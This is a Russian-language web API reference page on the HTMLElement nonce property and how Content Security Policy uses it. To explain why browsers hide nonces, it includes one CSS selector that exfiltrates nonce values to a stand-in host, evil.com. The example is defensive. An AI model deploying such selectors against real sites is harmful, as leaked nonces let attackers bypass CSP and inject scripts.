HTMLElement: свойство nonce

Свойство nonce интерфейса HTMLElement возвращает одноразовый криптографический код, используемый Content Security Policy для определения возможности продолжения обработки запроса.

В современных реализациях элементы предоставляют свой атрибут nonce только скриптам (но не CSS-селекторам, например).

Примеры

Получение значения nonce

В прошлом не все браузеры поддерживали IDL-атрибут nonce, поэтому было распространено использование getAttribute в качестве запасного варианта:

js
let nonce = script["nonce"] || script.getAttribute("nonce");

Современные браузеры не дают получить значения nonce таким путём (будет возвращена пустая строка). IDL-свойство (script['nonce']) является единственным способом получения nonce.

Скрытие nonce помогает предотвратить их получение злоумышленниками с помощью механизмов, которые могут собирать данные из атрибутов содержимого, таких как этот селектор CSS:

css
script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

Спецификации

Specification
HTML Standard
# dom-noncedelement-nonce

Совместимость с браузерами

BCD tables only load in the browser

Смотрите также